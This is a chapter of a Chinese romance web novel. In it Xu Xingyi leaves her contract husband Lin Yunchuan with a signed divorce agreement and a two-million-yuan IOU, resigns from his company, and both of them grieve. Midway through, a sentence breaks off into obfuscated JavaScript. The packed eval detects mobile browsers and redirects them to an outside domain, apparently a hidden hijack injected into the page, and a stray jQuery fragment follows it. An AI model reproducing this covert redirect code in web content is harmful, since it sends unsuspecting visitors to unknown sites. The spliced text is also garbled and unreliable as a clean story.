窗外最后一缕光慢慢黯淡，许星艺才惊觉自己在客厅定定地站了很久，她转身走向卧室，脚步虚浮得像踩在棉花上。
衣帽间里，她的衣物还整整齐齐挂在林允川定制的檀木衣柜里——他特意让人做了下层悬挂杆，说这样她拿衣服时不用踮脚。现在这些体贴都成了扎在心口的刺。
收拾行李只用了二十分钟，她没带他送的任何东西。最后检查时，梳妆台抽屉里露出半张照片——是奶奶八十大寿时拍的“全家福”，她站在林允川轮椅后，手搭在他肩上，两个人都笑得有些拘谨。
照片被对折放进钱包的瞬间，许星艺突然地眼泪就落了下来，可能是自己的不舍，也可能是这几个月来她偷偷构建的那些不切实际的幻想。
三小时后，当林允川终于推开书房沉重的橡木门，客厅里只剩下落地灯投下的一圈昏黄光晕。轮椅碾过实木地板发出细微的声响，在这过分安静的夜里显得格外清晰。
他在书房里做了整整三个小时的思想建设——反复回忆他们相处的每一个细节，从契约开始的公事公办，到后来她自然而然地会在深夜为他盖好滑落的毛毯。那些他假装没注意到的温柔，此刻都化作细密的针，扎得他心口发疼。
他甚至都想好了，如果她是没办法接受目前无性的婚姻，找徐修是为了解决生理需求，自己也许可以睁一只眼闭一只眼，只要她把真心给自己，不让那些亲密赤裸裸地出现在眼前。
轮椅停在客厅中央，林允川的目光扫过空荡荡的沙发——那里通常会有个蜷缩着看案卷的身影，茶几上永远摆着一杯温度刚好的蜂蜜水。现在只剩下一个圆形水渍，证明曾经有人在这里生活过。
“许星艺？”他下意识唤了一声，声音在空旷的房子里荡出回音。
没有回应。
林允川这才注意到玄关处少了她常穿的那双米色平底鞋，鞋柜上整齐地放着老宅的备用钥匙。茶几上，放着2张纸，他伸手去拿时，发现自己的指尖在不受控制地颤抖。
一张纸是离婚协议书，她净身出户，什么都不要。上面已经整整齐齐签好了她的名字，笔锋流畅，好像不带一点犹豫。
还有一张是借条，[借款200万元整，用于弟弟许星乐ICU治疗及心脏移植手术——许星艺。]落款的日期是今天。
最下面还有一行被水渍晕开的小字：[对不起，还有...谢谢你。]
林允川突然觉得呼吸困难。这三个小时里，他设想了无数种可能——或许她会红着眼睛等他出来再解释解释，或许她会像往常一样煮好热牛奶放在床头，或许...他们还能回到那个假装不在乎的相处模式。
但他从没想过，她会走得这样干脆。
轮椅滑向卧室，衣帽间里她的衣物已经清空，只剩下几件他送的名牌套装孤零零地挂着。梳妆台上，她常用的那瓶茉莉香水还留着，瓶盖没有拧紧，若有若无的香气萦绕在空气里，像是主人刚刚离开。
林允川伸手握住香水瓶，好像就能留住她一样，他突然觉得很无奈，自己甚至没来得及告诉她——这半年多的契约婚姻里，有多少次他差点脱口而出的"别走"。
床头柜的抽屉半开着，里面躺着那枚她从未在公众场合戴过的婚戒。林允川把它拿出来对着灯光，内圈刻着的日期在灯光下闪闪发亮——正是他们领证的那天。
窗外突然下起雨来，雨滴敲打着玻璃，像极了有一次她冒雨给他送文件的夜晚。那天她浑身湿透地出现在他办公室，却把文件保护得滴水不沾。他当时说了什么来着？
“契约里没要求你做这些。”
现在他终于明白，问题出在哪里——他太在意自己身下的轮椅，太在意别人的看法，也太擅长用契约来掩饰真心，以至于当她真的按照契约离开时，他才惊觉自己早已越界。
手指无意识地摩挲着婚戒，林允川望向雨幕中模糊的城市灯火。二百万元的债务，一张离婚协议，和一句没说完的谢谢。这就是他们之间最后的联系。
“可我...已经习惯你在身边了啊。”
这句话轻得刚出口就被雨声吞没。书房里精心准备的说辞终究没能说给她听，就像那枚她只有在领证那天戴过的戒指，永远停留在了抽屉深处。
城市另一头的便捷酒店房间的灯光惨白，许星艺坐在床边。她没有回家，在家附近的这家酒店一口气续住了半个月，此刻，她正盯着手机计算器上的数字发呆。
2000000。
她机械地输入自己的薪资预估——年薪二十五万，年终奖大概5万，扣除房租、生活费、弟弟的后续治疗费……她咬住下唇，指尖在屏幕上划动，仿佛这样就能把那个庞大的数字一点点削薄。
“10年……如果接些私案，也许7年就能还清。”
这个念头刚冒出来，她就愣住了。
7年。
7年后，林允川就快40岁了，他会在哪里？或许已经和白子怡结婚，甚至已经有了孩子，而自己将永远是他人生中一个荒诞的插曲。而她呢？还清了债，他们之间就真的两清了吗？
——那些深夜加班回来时，他让周姨准备的宵夜；她不小心淋雨回来时，他沉默地递过来的姜茶；还有他轻轻抱住自己时说的“慢慢来，慢慢等她接受他”……这些，又该怎么算？
许星艺猛地退出手机计算器，屏幕暗下去的瞬间，映出她泛红的眼眶。
她不能想这些。
契约结束了，她不能再放任自己沉溺在那些虚假的温柔里。
她深吸一口气，拿起桌上的辞职信，指尖在"岳林集团法务部"几个字上轻轻摩挲。明天一早，这封信就会送到HR手里，而她甚至不需要再踏进那座大厦——她怕自己一进去，就会忍不住看向68楼的总裁办公室，怕自己会后悔。
手机屏幕亮起，邮箱提示音响起——是几家律所的面试邀请。
她点开第一封邮件，薪资比岳林低了三分之一。她苦笑着关掉，又点开第二封，条件稍好一些，但工作强度极大。
“没关系，我可以的。”她轻声对自己说，仿佛这样就能压下心里那股空落落的疼。
她打开衣柜，开始整理为数不多的衣物。手指触到一件羊绒开衫时，她突然顿住，这是林允川某次出差回来随手丢给她的，说“本来要买给晴儿的，买错了尺码”。可她后来在衣领内侧发现了专柜手写的标签：【星星，祝您天天开心。LYC】
她一直没舍得穿。
现在，它孤零零地挂在酒店衣柜里，像极了她此刻的处境，无处安放，却又不知道怎么穿出去。
许星艺猛地关上柜门，转身走向浴室。热水冲刷而下，雾气很快模糊了镜面。她伸手抹了一把，镜中的自己眼眶通红，嘴角却倔强地抿着。
“许星艺，别矫情了。”她对着镜子说，“契约结束了，你早该料到这一天。”
可为什么……心口还是疼得发慌？
她擦干头发，躺回床上，手机屏幕再次亮起——是乔冰的消息。
【艺艺，明天有空见个面?】
许星艺盯着那条消息，手指悬在键盘上，迟迟没有回复。
她突然很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177106|180762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想给林允川发一条消息。
哪怕只是一句“我找到新工作了”，或者“钱我会尽快还你”。
她手指在那个置顶在聊天框里的熟悉头像上停留了几秒，上一次消息还是在10天以前，他说‘今晚有应酬，不回来吃饭’，她没有回。
最终，她轻轻关掉了屏幕，翻身把自己埋进被子里。
窗外，城市的灯火依旧璀璨，而她的世界，却仿佛在一夜之间，失去了所有光亮。
次日的晨光透过落地窗照进总裁办公室时，林允川的轮椅正停在文件柜前。他手里拿着许星艺经手的最后一个并购案卷宗——边角已经起了毛边，显然被人反复翻阅过多次。
“林总。”助理张明轻叩门扉，“人事部送来一份文件，需要您过目。”
林允川头也没抬：“放桌上。”
“是...许律师的辞职信。”
空气瞬间凝固。林允川的指尖在卷宗上留下一道折痕，他缓缓转过轮椅，目光落在那个纯白色信封上。信封右下角印着酒店logo，刺眼得像是某种刻意的羞辱——她宁可住酒店也不愿多留一晚。
“什么时候送来的？”
“5分钟前。”张明是公司里为数不多知道许星艺身份的人，他小心翼翼地说，“HR说收到的是闪送，许律师本人没有出现。”
多讽刺啊，不久前还跟自己日日相伴，睡在身旁的人，如今连辞职都要保持安全距离。
“按正常流程办。”他听见自己冰冷的声音，“该结的工资一分不少。”
张明欲言又止：“需要安排交接吗？许律师负责的……”
“让法务部副主任接手。”林允川打断他，“出去时把门带上。”
当办公室重新恢复寂静，林允川才推动轮椅靠近那张辞职信。信封上的字迹工整得近乎刻板，就像她每次起草合同时那样一丝不苟。他忽然很想知道，她写下"辞职信"三个字时，是不是也像他此刻这样，手指发抖得几乎握不住笔。
拆信刀划开封口的瞬间，一张便签飘落在地。林允川弯腰去捡，这个简单的动作却让轮椅失去平衡，他狼狈地撞在办公桌角。这具残缺的身体又一次提醒他，没有身下的轮椅，连捡张纸都是奢望。
便签上是许星艺清秀的字迹：【门禁卡和办公用品已交接给行政部。】
就这一句。没有感谢，没有告别，甚至没有落款。公事公办得像是他们之间真的只是一场交易。
林允川把辞职信摊在桌上，内容简短得令人心寒。从始至终，许星艺都在严格遵守契约精神——包括现在，用最决绝的方式履行"到期即止"的条款。
落地窗外的一楼，一辆快递车驶离大厦。林允川握紧了手推圈向前，也许那辆车里就载着她投往新公司的简历，也许此刻她正坐在某个咖啡厅里面试，也许...
阳光将他的的影子拉得很长，在实木桌面上形成一道泾渭分明的界线，就像他们之间永远无法跨越的距离。
酒店房间里，吹风机的声音盖过了敲门声。前台递来的包裹里，辞职信已经被盖上了"已受理"的红色印章。HR甚至贴心地附了离职证明，上面"岳林集团法务部"几个烫金字在灯光下刺眼得让她流泪。
她原以为自己至少还要再去一趟公司交接工作，现在连这个借口都没有了。
手机亮起，乔冰的信息弹出：【星星，徐修跟我说你辞职了？明天出来喝咖啡？】
许星艺盯着空白的对话框——她慢慢打字：“好”，发送前又删掉，重新输入：“明天下午三点，街角那家。”